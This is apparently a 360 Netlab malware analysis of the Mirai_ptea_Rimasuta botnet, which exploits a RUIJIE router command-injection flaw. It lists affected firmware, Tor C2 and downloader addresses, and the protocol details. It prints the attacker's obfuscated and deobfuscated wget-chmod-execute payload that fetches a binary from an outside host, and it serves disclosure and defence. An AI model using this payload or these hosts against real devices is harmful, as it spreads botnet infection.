Mirai_ptea_Rimasuta variant is exploiting a new RUIJIE router 0 day to spread
<!--kg-card-begin: markdown--><h1 id="overview">Overview</h1>
<p>In July 2021 we blogged about <a href="__GHOST_URL__/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/">Mirai_ptea</a>, a botnet spreading through an undisclosed vulnerability in KGUARD DVR. At first we thought it was a short-lived botnet that would soon disappear so we just gave it a generic name. But clearly we underestimated the group behind this family, which has in fact been very active and was recently observed to be spreading using a 0day vulnerability in the <a href="https://www.ruijienetworks.com/">RUIJIE NBR700</a> series routers.</p>
<p>It is interesting to note that the author included this paragraph in one of the updated samples.</p>
<p><code>-_- you guys didnt pick up on the name? really???? its ``RI-MA-SU-TA``. not MIRAI_PTEA this is dumb name.</code></p>
<p>Mirai_ptea_Rimasuta now has builtin mechanism to check if the running environment is a sandbox, it also encrypts the network traffic to counter the network level detection.</p>
<h2 id="timeline">Timeline</h2>
<ul>
<li>2021-06-10 Note another mirai variant, mirai_aurora, first exploited this RUIJIE vulnerability to spread</li>
<li>2021-09-05 We noticed Mirai_ptea_Rimasuta  starting to use exploit</li>
<li>2021-09-06 We notified the vendor of the vulnerability</li>
<li>2021-09-09 The vendor confirmed the existence of the vulnerability and informed that it has <a href="https://www.ruijie.com.cn/fw/xw/86338/">stopped maintaining</a> this version of the device, and the manufacturer believes that it can be mitigated by changing the default password, so it does not intend to provide a new patch to fix the vulnerability.</li>
</ul>
<h1 id="vulnerabilityanalysis">Vulnerability Analysis</h1>
<h3 id="vulnerabilitytype">Vulnerability Type</h3>
<p>Command injection vulnerability</p>
<h3 id="vulnerabilitydetails">Vulnerability details</h3>
<p>To avoid abuse, we are not disclosing the full details. The description in this section includes only part of the vulnerability exploitation process.</p>
<p>An interface named <code>wget_test.asp</code> test exists on the RUJIE router device, which accepts URLs passed in from the page for wget testing (the testing function is eventually implemented through a script named <code>wget_test.sh</code>), but it does not perform special character checks on the incoming parameters, leading to command injection. Note: The interface requires login authentication. However, the RUIJIE router has default weak password, so an attacker can combine these 2 factors to launch an attack.</p>
<p>According to our investigation, there are still great number of online devices having this problem.</p>
<p><img src="__GHOST_URL__/content/images/2021/09/ruijie.wget.cmd.ij.png" alt="ruijie.wget.cmd.ij" loading="lazy"></p>
<p>where <code>wget_test.sh</code> reads as follows:</p>
<pre><code>#!/bin/sh

while [ 1 ]
do
	wget -O /dev/null $1;
	sleep 1;
done
</code></pre>
<h3 id="knownaffecteddeviceversions">Known affected device versions</h3>
<pre><code>NBR1600GDX9    Release(180516)
RGNBR700GDX5   Release(180202)
RGNBR700GDX5   Release(180314)
RGNBR700GDX9   Release(180720)
RGNBR700GWDX5  Release(180314)
RGNBR700GWDX9  Release(180613)
RGNBR700GWDX9  Release(180720)
RGNBR700GWDX9  Release(191023)
RGNBR900GA1C2  Release(170809)
</code></pre>
<h3 id="exploitpayloadanalysis">Exploit payload analysis</h3>
<p>Some of the vulnerabilities exploit Payload as follows:<br>
<img src="__GHOST_URL__/content/images/2021/09/xxxpppasdfadfkafjadf.png" alt="xxxpppasdfadfkafjadf" loading="lazy"></p>
<p>The content of the file corresponding to the URL in the above image is shown below. At first glance, it looks a bit strange because it uses many empty variables( to confuse security analysts?)</p>
<pre><code>v=.rib;
cd ${ENrjHs}/t${hSQGxia}mp;
wg${qyZuBCTFDSMnw}et http://2[.56.244.121/gkTHLPZAAsmP -O ${v};
chm${mBSVmBhyrCQcZ}od +x ${v};
./${v};
</code></pre>
<p>When these variables are removed, its function is intuitive: download the sample and execute it.</p>
<pre><code>
v=.rib;
cd /tmp;
wget http://2.56.244.121/gkTHLPZAAsmP -O ${v};
chmod +x ${v};
./${v};
</code></pre>
<h1 id="botnetsize">Botnet size</h1>
<p>From our data horizon, the active Bot source IP trends for this botnet are as follows:<br>
<img src="__GHOST_URL__/content/images/2021/09/rimasuta.bot.ip.line.png" alt="rimasuta.bot.ip.line" loading="lazy"></p>
<p>Bot source IPs are geographically distributed as follows:<br>
<img src="__GHOST_URL__/content/images/2021/09/rimasuta.bot.ip.geo-1.png" alt="rimasuta.bot.ip.geo-1" loading="lazy"></p>
<h1 id="sampleanalysis">Sample Analysis</h1>
<p>The basic information of the ARM sample is shown as follows.</p>
<pre><code>MD5:b01b0bc32469f11a47d6e54eef8c7ffb
ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
Packer:No
Lib:uclibc
</code></pre>
<p>Mirai_ptea_Rimasuta is a Mirai variant, with redesigned encryption algorithm and C2 communication protocol. In terms of encryption algorithm, Mirai_ptea_Rimasuta uses TEA algorithm instead of Mirai's simple XOR encryption, and a lot of sensitive resource information such as C2, Tor Proxy, etc have been encrypted; in terms of C2 communication, Mirai_ptea_Rimasuta uses Tor Proxy to indirectly establish communication with C2. For more details on this part, please refer to our <a href="__GHOST_URL__/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/">previous Blog</a>, and let’s just look at some changes in this active new sample.</p>
<h3 id="0x1teakey">0x1: TEA key</h3>
<p>This Mirai_ptea_Rimasuta sample hardcod 2 sets of TEA keys, one for encrypting &amp; decrypting sensitive resources and one for encrypting &amp; decrypting network traffic, to distinguish the former we call it Res_teakey and the latter Net_teakey.</p>
<p><code>Res_teakey</code> is shown as follows.<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_reskey.png"  width="860px" /></p>
<p>Part of the resource information is decrypted as shown below, note the content of index c. <code>This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe</code></p>
<pre><code>index 0, value = /proc/
index 1, value = /exe
index 2, value = /fd
index 3, value = /proc/net/tcp
index 4, value = /cmdline
index 5, value = /status
index 6, value = /maps
index 7, value = /dev
index 8, value = /dev/misc
index 9, value = /dev/misc/watchdog
index a, value = /dev/watchdog
index b, value = watchdog
index c, value = This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe
</code></pre>
<p>(as far as we know, none of us know how to dance chacha…yet…)</p>
<p><code>Net_teakey</code> is shown below<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_netkey.png"  width="860px" /><br>
It is not used in practice, it just acts as a placeholder and Mirai_ptea_Rimasuta dynamically generates a new Net_teakey at runtime, which will be discussed in the Network Protocols section below.</p>
<h3 id="0x2sandboxdetection">0x2: Sandbox detection</h3>
<p>A large number of sandboxes or simulators process samples in a fixed path and name them with MD5 or random strings. Mirai_ptea_Rimasuta takes this cue and checks the path &amp; filename of the sample, and only after it meets the requirements will it go ahead and run, otherwise it exits.</p>
<p><img src="__GHOST_URL__/content/images/2021/09/masu_check.png" alt="masu_check" loading="lazy"></p>
<p>The following shows legit &quot;run paths&quot;</p>
<pre><code>./.rib
/XXriXX
</code></pre>
<h3 id="0x3c2variation">0x3: C2 variation</h3>
<p>Mirai_ptea_Rimasuta uses the following code snippet to get the Tor C2, which shows that the C2 table entry in the encrypted resource is 0xD, and there are 6 C2s (random mod 6).</p>
<img src="__GHOST_URL__/content/images/2021/09/masu_c2.png"  width="860px" />
<p>The encrypted information in 0xD is decrypted as follows.</p>
<pre><code>index d, value = uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqdwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqdt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkadrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivydvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqdpnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion
</code></pre>
<p>After excluding the &quot;.onion&quot; at the end of the above string and splitting it by length 56, then splicing it with the .onion string at the end, we get the following 6 C2s, which have a one-to-one correspondence with the port of the hard-coded 6 in the sample.</p>
<pre><code>uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346
wrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774
rg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644
pnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409
</code></pre>
<h3 id="0x4networkprotocolchange">0x4: Network protocol change</h3>
<p>The active Mirai_ptea_Rimasuta sample also starts to encrypt the network traffic using the TEA algorithm, and although there is a hard-coded set of keys Net_teakey in the sample, it is not used in practice, but a new key dynamically generated through negotiation with the C2s.</p>
<p>The whole communication process can be divided into 3 steps as follows</p>
<p>Stage 1. communication with C2 is established via TOR PROXY<br>
Stage 2. TEA key negotiation<br>
Stage 3. receive the command from C2, note that the traffic is encrypted at this time</p>
<p>The focus is on the key negotiation in the second step, we will take the actual data traffic generated in the following figure as an example, and we will discuss step by step how Bot &amp; C2 get the same key.</p>
<img src="__GHOST_URL__/content/images/2021/09/masu_packet.png"  width="860px" />
<p>Stage1 is the typical process of establishing communication with TOR C2. Starting from Stage2, Mirai_ptea_Rimasuta's packets consist of 3 parts: <code>head(2bytes), hash(4bytes), and content(Nbytes)</code>, where the value of head is fixed in a session and the value of hash is calculated by the hash_calc function for content in the appendix.</p>
<p>The whole negotiation process is shown as follows.</p>
<ol>
<li>
<p>Bot randomly generates 12 characters and uses the hash_calc algorithm in the appendix to get the value of Net_teakey[0]. At this time Bot has Net_teakey[0], C2 does not know the value of task Net_teakey.<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_ag1.png"  width="860px" /></p>
</li>
<li>
<p>Bot randomizes 8 characters to form content, uses hash_calc to calculate content to get hash, and puts the low 16 bits of the hash value into head, then sends this packet of 14 bytes long to C2, and finally calculates the whole packet by hash_calc to get Net_teakey[2] value, at this time Bot has Net_teakey[0,2] and C2 has Net_teakey[2].<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_ag2.png"  width="860px" /></p>
</li>
<li>
<p>C2 returns the packet to Bot, and the value of the hash is used in step</p>
</li>
<li>
<p>After receiving the packet back from C2, Bot forms the content with local IP, random characters in step 1, encrypts it using TEA algorithm (Res_teakey is the key), constructs a packet of 32 bytes in length and sends it to C2, where the value of hash is Net_teakey[1], and finally calculates the C2 hash from step 3 with its own Bot hash is calculated by hash_calc, to be Net_teakey[3]. At this point, Bot already knows the 4 values in Net_teakey, and the order of acquisition is [0,2,1,3].<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_ag4.png"  width="860px" /></p>
</li>
<li>
<p>After C2 receives Bot's packet, it first gets Net_teakey[1], then gets Net_teakey[3] by hash_calc, and finally decrypts content to get the 12 strings used by Bot in step 1, and then gets Net_teakey[0] by hash_calc. At this point, C2 also knows the 4 values in Net_teakey, which are obtained in the order of [2,1,3,0].</p>
</li>
</ol>
<p>At this point, the negotiation process ends, and the subsequent communication between Bot &amp; C2 uses the TEA algorithm to encrypt &amp; decrypt the key for Net_teakey.<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_netenc.png"  width="860px" /></p>
<h3 id="0x5informationgatheringfunction">0x5:  Information gathering function</h3>
<p>This active Mirai_ptea_Rimasuta sample monitors the TCP network connections of the compromised device and uploads the connection details that meet specific requirements to the Reporter. we believe that the authors of Mirai_ptea_Rimasuta will rely on this part of its collected information for his own data mining.</p>
<p>The specific implementation process can be divided into the following steps.</p>
<ol>
<li>
<p>Get the inode information of the current TCP network connection via /proc/net/tcp, as well as the state State information of the network connection</p>
</li>
<li>
<p>Get the socket inode from /proc/[pid]/fd, match it with the inode in step 1, and get the corresponding process.</p>
</li>
<li>
<p>Get the cmdline information of the process in step 2 from /proc/[pid]/cmdline</p>
</li>
<li>
<p>If the state of the network connection is &quot;established&quot; and there is a &quot;wget&quot; string in the cmdline, the cmdline of the process and the remote address &amp; port of the network communication will be reported to the Reporter.</p>
</li>
<li>
<p>If the State of the network connection is &quot;listen&quot; and the local port is one of &quot;3451,8888,17872,9137&quot;, and a process has established a connection with this process, the cmdline of this process and the remote address &amp; port of the network communication will be reported to Reporter.</p>
</li>
<li>
<p>If the state of the network connection is neither &quot;established&quot; nor &quot;listen&quot;, the cmdline of the process and the remote address &amp; port of the network communication will be reported to Reporter.</p>
</li>
</ol>
<p>The following code snippet is used to establish communication with the Reporter, where the Reporter decrypted the contents and get <code>gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion</code>.<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_report.png" alt="masu_report" loading="lazy"></p>
<p>After successfully establishing communication with the Reporter, the message to be reported is constructed with the following code snippet.<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_repdata.png"  width="860px" /></p>
<p>The actual Report packet generated, and the meaning of the fields, is shown below.</p>
<pre><code>RAW packet
00000000: 5A A5 90 D9 F9 37 B4 D6  00 AC 1E 01 09 3A 77 67  Z....7.......:wg
00000010: 65 74 20 2D 71 20 2D 4F  20 2D 20 68 74 74 70 3A  et -q -O - http:
00000020: 2F 2F 69 63 6D 70 2E 64  76 72 69 6E 73 69 64 65  //icmp.dvrinside
00000030: 2E 63 6F 6D 3A 39 30 30  30 2F 47 65 74 50 75 62  .com:9000/GetPub
00000040: 6C 69 63 4E 61 6D 65 20                           licName 
----------------------------------------------------------------------------
Field parsing
5A A5			----&gt; magic, 2bytes
90 D9 F9 37		----&gt; remote ip, 4 bytes
B4 D6			----&gt; remote port, 2 bytes
00				----&gt; hardcode, 1 byte
AC 1E 01 09		----&gt; local ip
3A				----&gt; length of &quot;cmdline&quot;
77 67 ..to end  ----&gt; cmdline 
</code></pre>
<h1 id="recommendation">Recommendation</h1>
<p>We recommend RUIJIE router users to check and update the firmware system in time. Set a complex login password for the Web management interface.</p>
<h1 id="suggestions">Suggestions</h1>
<p>We recommend that users check and update their device firmwares in a timely manner, and check whether there are default accounts that should be disabled.</p>
<p>We recommend the following IoCs to be monitored and blocked on the networks where it is applicable.</p>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">Twitter</a> or email us to netlab at 360 dot cn.</p>
<h1 id="ioc">IoC</h1>
<h3 id="downloader">Downloader</h3>
<pre><code>http://2[.56.244.121/tuPuSSbAxXIW
http://2[.56.244.121/gkTHLPZAAsmP
http://2[.56.244.121/VqIXrFxAGpPD
http://2[.56.244.157/qSdYKoxbZakW
http://2[.56.244.157/iZXPWXshhRRt
http://2[.56.244.157/vnlWcwcBunwk
http://2[.56.244.157/IAqecfTrQwQF
http://2[.56.244.157/bwgFHtUOGJcv
http://2[.56.244.121/KaoJHwKMBiAJ
http://2[.56.244.157/yhZyIAclbmhD
http://2[.56.244.157/PszBtRNfnzBO
http://2[.56.244.157/SywXQrWdNIrM
http://2[.56.244.157/awfLWTOmgxTX
http://2[.56.244.157/zEkFejmPQeVR
http://91[.211.91.56/mIoCinspKSkE
http://91[.211.89.242/vkvTxquhFCGV
http://91[.211.88.220/OOGRLHgUnshR
</code></pre>
<h3 id="samplemd5">Sample MD5</h3>
<pre><code>b01b0bc32469f11a47d6e54eef8c7ffb
1a5329dcda994df16e6896f870f04f5e
344df0446b8b40588ca5e72ad3ef7217
777792d3df3f1850fa667b4afbb2cfc1
a6ddfec272fbf867a4cf3c154eaf47aa
904cbd20a5996125f91f9c7c02ca9bbd
</code></pre>
<h3 id="c2">C2</h3>
<pre><code>uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346
wrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774
rg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644
pnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409
</code></pre>
<h3 id="reporter">Reporter</h3>
<pre><code>gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6667
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6668
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6669
</code></pre>
<h3 id="appendix">Appendix</h3>
<pre><code>----------------------------------------------------------------------
RAW packet
#00000048  99 9f 29 9c 9f 99 72 53  4b 7f e9 08 7c 9b         ..)...rS K...|.
# head      99 9f
# hash      29 9c 9f 99
# content   72 53  4b 7f e9 08 7c 9b
----------------------------------------------------------------------
def hash_calc(buf,len):
    cnt=len&gt;&gt;2
    cnt2=len&amp;3
    sum=len
    
    for i in range(0,cnt*4,4):
        tmp=((ord(buf[i+1])&lt;&lt;8)+ord(buf[i])+sum)
        tmp2=(tmp^(((ord(buf[i+3])&lt;&lt;8)+ord(buf[i+2]))&lt;&lt;11)&amp;0xffffffff)^((tmp&lt;&lt;16)&amp;0xffffffff)
        sum=(tmp2+(tmp2&gt;&gt;11))&amp;0xffffffff
        
    if cnt2==3:
       tmp=((ord(buf[cnt*4+1])&lt;&lt;8) +ord(buf[cnt*4])+sum)&amp;0xffffffff
       tmp2=tmp^((ord(buf[cnt*4+2])&lt;&lt;18)&amp;0xffffffff)^((tmp&lt;&lt;16)&amp;0xffffffff)
       sum=(tmp2+(tmp2&gt;&gt;11))&amp;0xffffffff
       
    elif cnt2==2:
        tmp=((ord(buf[cnt*4+1])&lt;&lt;8) +ord(buf[cnt*4])+sum)&amp;0xffffffff
        sum=(tmp^(tmp&lt;&lt;11)&amp;0xffffffff)+((tmp^(tmp&lt;&lt;11)&amp;0xffffffff)&gt;&gt;17)
        
    elif cnt2==1:
        tmp=(((ord(buf[cnt*4])+sum)&lt;&lt;10)&amp;0xffffffff)^ (ord(buf[cnt*4])+sum) 
        sum=(tmp+(tmp&gt;&gt;1))&amp;0xffffffff
    
    else:
        pass
            
    tmp3=(sum^(sum*8)&amp;0xffffffff)+((sum^(8*sum)&amp;0xffffffff)&gt;&gt;5)
    tmp4=(tmp3^(16*tmp3)&amp;0xffffffff)+((tmp3^(16*tmp3)&amp;0xffffffff)&gt;&gt;17)
    final=(tmp4^(tmp4&lt;&lt;25)&amp;0xffffffff)+((tmp4^(tmp4&lt;&lt;25)&amp;0xffffffff)&gt;&gt;6)

    return final&amp;0xffffffff

content='''
72 53  4b 7f e9 08 7c 9b
'''.replace(' ', '').replace('\n','').decode('hex')
print hex(hash_calc(content,len(content)))
</code></pre>
<!--kg-card-end: markdown-->
Overview


In July 2021 we blogged about Mirai_ptea, a botnet spreading through an undisclosed vulnerability in KGUARD DVR. At first we thought it was a short-lived botnet that would soon disappear so we just gave it a generic name. But clearly we underestimated the group behind this family, which has in fact been very active and was recently observed to be spreading using a 0day vulnerability in the RUIJIE NBR700 series routers.


It is interesting to note that the author included this paragraph in one of the updated samples.


-_- you guys didnt pick up on the name? really???? its ``RI-MA-SU-TA``. not MIRAI_PTEA this is dumb name.


Mirai_ptea_Rimasuta now has builtin mechanism to check if the running environment is a sandbox, it also encrypts the network traffic to counter the network level detection.



Timeline


 * 2021-06-10 Note another mirai variant, mirai_aurora, first exploited this RUIJIE vulnerability to spread
 * 2021-09-05 We noticed Mirai_ptea_Rimasuta starting to use exploit
 * 2021-09-06 We notified the vendor of the vulnerability
 * 2021-09-09 The vendor confirmed the existence of the vulnerability and informed that it has stopped maintaining this version of the device, and the manufacturer believes that it can be mitigated by changing the default password, so it does not intend to provide a new patch to fix the vulnerability.



Vulnerability Analysis



Vulnerability Type


Command injection vulnerability



Vulnerability details


To avoid abuse, we are not disclosing the full details. The description in this section includes only part of the vulnerability exploitation process.


An interface named wget_test.asp test exists on the RUJIE router device, which accepts URLs passed in from the page for wget testing (the testing function is eventually implemented through a script named wget_test.sh), but it does not perform special character checks on the incoming parameters, leading to command injection. Note: The interface requires login authentication. However, the RUIJIE router has default weak password, so an attacker can combine these 2 factors to launch an attack.


According to our investigation, there are still great number of online devices having this problem.





where wget_test.sh reads as follows:


#!/bin/sh

while [ 1 ]
do
	wget -O /dev/null $1;
	sleep 1;
done




Known affected device versions


NBR1600GDX9    Release(180516)
RGNBR700GDX5   Release(180202)
RGNBR700GDX5   Release(180314)
RGNBR700GDX9   Release(180720)
RGNBR700GWDX5  Release(180314)
RGNBR700GWDX9  Release(180613)
RGNBR700GWDX9  Release(180720)
RGNBR700GWDX9  Release(191023)
RGNBR900GA1C2  Release(170809)




Exploit payload analysis


Some of the vulnerabilities exploit Payload as follows:




The content of the file corresponding to the URL in the above image is shown below. At first glance, it looks a bit strange because it uses many empty variables( to confuse security analysts?)


v=.rib;
cd ${ENrjHs}/t${hSQGxia}mp;
wg${qyZuBCTFDSMnw}et http://2[.56.244.121/gkTHLPZAAsmP -O ${v};
chm${mBSVmBhyrCQcZ}od +x ${v};
./${v};



When these variables are removed, its function is intuitive: download the sample and execute it.



v=.rib;
cd /tmp;
wget http://2.56.244.121/gkTHLPZAAsmP -O ${v};
chmod +x ${v};
./${v};




Botnet size


From our data horizon, the active Bot source IP trends for this botnet are as follows:




Bot source IPs are geographically distributed as follows:





Sample Analysis


The basic information of the ARM sample is shown as follows.


MD5:b01b0bc32469f11a47d6e54eef8c7ffb
ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
Packer:No
Lib:uclibc



Mirai_ptea_Rimasuta is a Mirai variant, with redesigned encryption algorithm and C2 communication protocol. In terms of encryption algorithm, Mirai_ptea_Rimasuta uses TEA algorithm instead of Mirai's simple XOR encryption, and a lot of sensitive resource information such as C2, Tor Proxy, etc have been encrypted; in terms of C2 communication, Mirai_ptea_Rimasuta uses Tor Proxy to indirectly establish communication with C2. For more details on this part, please refer to our previous Blog, and let’s just look at some changes in this active new sample.



0x1: TEA key


This Mirai_ptea_Rimasuta sample hardcod 2 sets of TEA keys, one for encrypting & decrypting sensitive resources and one for encrypting & decrypting network traffic, to distinguish the former we call it Res_teakey and the latter Net_teakey.


Res_teakey is shown as follows.




Part of the resource information is decrypted as shown below, note the content of index c. This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe


index 0, value = /proc/
index 1, value = /exe
index 2, value = /fd
index 3, value = /proc/net/tcp
index 4, value = /cmdline
index 5, value = /status
index 6, value = /maps
index 7, value = /dev
index 8, value = /dev/misc
index 9, value = /dev/misc/watchdog
index a, value = /dev/watchdog
index b, value = watchdog
index c, value = This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe



(as far as we know, none of us know how to dance chacha…yet…)


Net_teakey is shown below



It is not used in practice, it just acts as a placeholder and Mirai_ptea_Rimasuta dynamically generates a new Net_teakey at runtime, which will be discussed in the Network Protocols section below.



0x2: Sandbox detection


A large number of sandboxes or simulators process samples in a fixed path and name them with MD5 or random strings. Mirai_ptea_Rimasuta takes this cue and checks the path & filename of the sample, and only after it meets the requirements will it go ahead and run, otherwise it exits.





The following shows legit "run paths"


./.rib
/XXriXX




0x3: C2 variation


Mirai_ptea_Rimasuta uses the following code snippet to get the Tor C2, which shows that the C2 table entry in the encrypted resource is 0xD, and there are 6 C2s (random mod 6).



The encrypted information in 0xD is decrypted as follows.


index d, value = uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqdwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqdt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkadrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivydvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqdpnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion



After excluding the ".onion" at the end of the above string and splitting it by length 56, then splicing it with the .onion string at the end, we get the following 6 C2s, which have a one-to-one correspondence with the port of the hard-coded 6 in the sample.


uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346
wrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774
rg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644
pnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409




0x4: Network protocol change


The active Mirai_ptea_Rimasuta sample also starts to encrypt the network traffic using the TEA algorithm, and although there is a hard-coded set of keys Net_teakey in the sample, it is not used in practice, but a new key dynamically generated through negotiation with the C2s.


The whole communication process can be divided into 3 steps as follows


Stage 1. communication with C2 is established via TOR PROXY

Stage 2. TEA key negotiation

Stage 3. receive the command from C2, note that the traffic is encrypted at this time


The focus is on the key negotiation in the second step, we will take the actual data traffic generated in the following figure as an example, and we will discuss step by step how Bot & C2 get the same key.



Stage1 is the typical process of establishing communication with TOR C2. Starting from Stage2, Mirai_ptea_Rimasuta's packets consist of 3 parts: head(2bytes), hash(4bytes), and content(Nbytes), where the value of head is fixed in a session and the value of hash is calculated by the hash_calc function for content in the appendix.


The whole negotiation process is shown as follows.


 1. 
    
    
    Bot randomly generates 12 characters and uses the hash_calc algorithm in the appendix to get the value of Net_teakey[0]. At this time Bot has Net_teakey[0], C2 does not know the value of task Net_teakey.
    
    
    

 2. 
    
    
    Bot randomizes 8 characters to form content, uses hash_calc to calculate content to get hash, and puts the low 16 bits of the hash value into head, then sends this packet of 14 bytes long to C2, and finally calculates the whole packet by hash_calc to get Net_teakey[2] value, at this time Bot has Net_teakey[0,2] and C2 has Net_teakey[2].
    
    
    

 3. 
    
    
    C2 returns the packet to Bot, and the value of the hash is used in step
    

 4. 
    
    
    After receiving the packet back from C2, Bot forms the content with local IP, random characters in step 1, encrypts it using TEA algorithm (Res_teakey is the key), constructs a packet of 32 bytes in length and sends it to C2, where the value of hash is Net_teakey[1], and finally calculates the C2 hash from step 3 with its own Bot hash is calculated by hash_calc, to be Net_teakey[3]. At this point, Bot already knows the 4 values in Net_teakey, and the order of acquisition is [0,2,1,3].
    
    
    

 5. 
    
    
    After C2 receives Bot's packet, it first gets Net_teakey[1], then gets Net_teakey[3] by hash_calc, and finally decrypts content to get the 12 strings used by Bot in step 1, and then gets Net_teakey[0] by hash_calc. At this point, C2 also knows the 4 values in Net_teakey, which are obtained in the order of [2,1,3,0].
    


At this point, the negotiation process ends, and the subsequent communication between Bot & C2 uses the TEA algorithm to encrypt & decrypt the key for Net_teakey.





0x5: Information gathering function


This active Mirai_ptea_Rimasuta sample monitors the TCP network connections of the compromised device and uploads the connection details that meet specific requirements to the Reporter. we believe that the authors of Mirai_ptea_Rimasuta will rely on this part of its collected information for his own data mining.


The specific implementation process can be divided into the following steps.


 1. 
    
    
    Get the inode information of the current TCP network connection via /proc/net/tcp, as well as the state State information of the network connection
    

 2. 
    
    
    Get the socket inode from /proc/[pid]/fd, match it with the inode in step 1, and get the corresponding process.
    

 3. 
    
    
    Get the cmdline information of the process in step 2 from /proc/[pid]/cmdline
    

 4. 
    
    
    If the state of the network connection is "established" and there is a "wget" string in the cmdline, the cmdline of the process and the remote address & port of the network communication will be reported to the Reporter.
    

 5. 
    
    
    If the State of the network connection is "listen" and the local port is one of "3451,8888,17872,9137", and a process has established a connection with this process, the cmdline of this process and the remote address & port of the network communication will be reported to Reporter.
    

 6. 
    
    
    If the state of the network connection is neither "established" nor "listen", the cmdline of the process and the remote address & port of the network communication will be reported to Reporter.
    


The following code snippet is used to establish communication with the Reporter, where the Reporter decrypted the contents and get gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion.




After successfully establishing communication with the Reporter, the message to be reported is constructed with the following code snippet.




The actual Report packet generated, and the meaning of the fields, is shown below.


RAW packet
00000000: 5A A5 90 D9 F9 37 B4 D6  00 AC 1E 01 09 3A 77 67  Z....7.......:wg
00000010: 65 74 20 2D 71 20 2D 4F  20 2D 20 68 74 74 70 3A  et -q -O - http:
00000020: 2F 2F 69 63 6D 70 2E 64  76 72 69 6E 73 69 64 65  //icmp.dvrinside
00000030: 2E 63 6F 6D 3A 39 30 30  30 2F 47 65 74 50 75 62  .com:9000/GetPub
00000040: 6C 69 63 4E 61 6D 65 20                           licName 
----------------------------------------------------------------------------
Field parsing
5A A5			----> magic, 2bytes
90 D9 F9 37		----> remote ip, 4 bytes
B4 D6			----> remote port, 2 bytes
00				----> hardcode, 1 byte
AC 1E 01 09		----> local ip
3A				----> length of "cmdline"
77 67 ..to end  ----> cmdline 




Recommendation


We recommend RUIJIE router users to check and update the firmware system in time. Set a complex login password for the Web management interface.



Suggestions


We recommend that users check and update their device firmwares in a timely manner, and check whether there are default accounts that should be disabled.


We recommend the following IoCs to be monitored and blocked on the networks where it is applicable.



Contact us


Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.



IoC



Downloader


http://2[.56.244.121/tuPuSSbAxXIW
http://2[.56.244.121/gkTHLPZAAsmP
http://2[.56.244.121/VqIXrFxAGpPD
http://2[.56.244.157/qSdYKoxbZakW
http://2[.56.244.157/iZXPWXshhRRt
http://2[.56.244.157/vnlWcwcBunwk
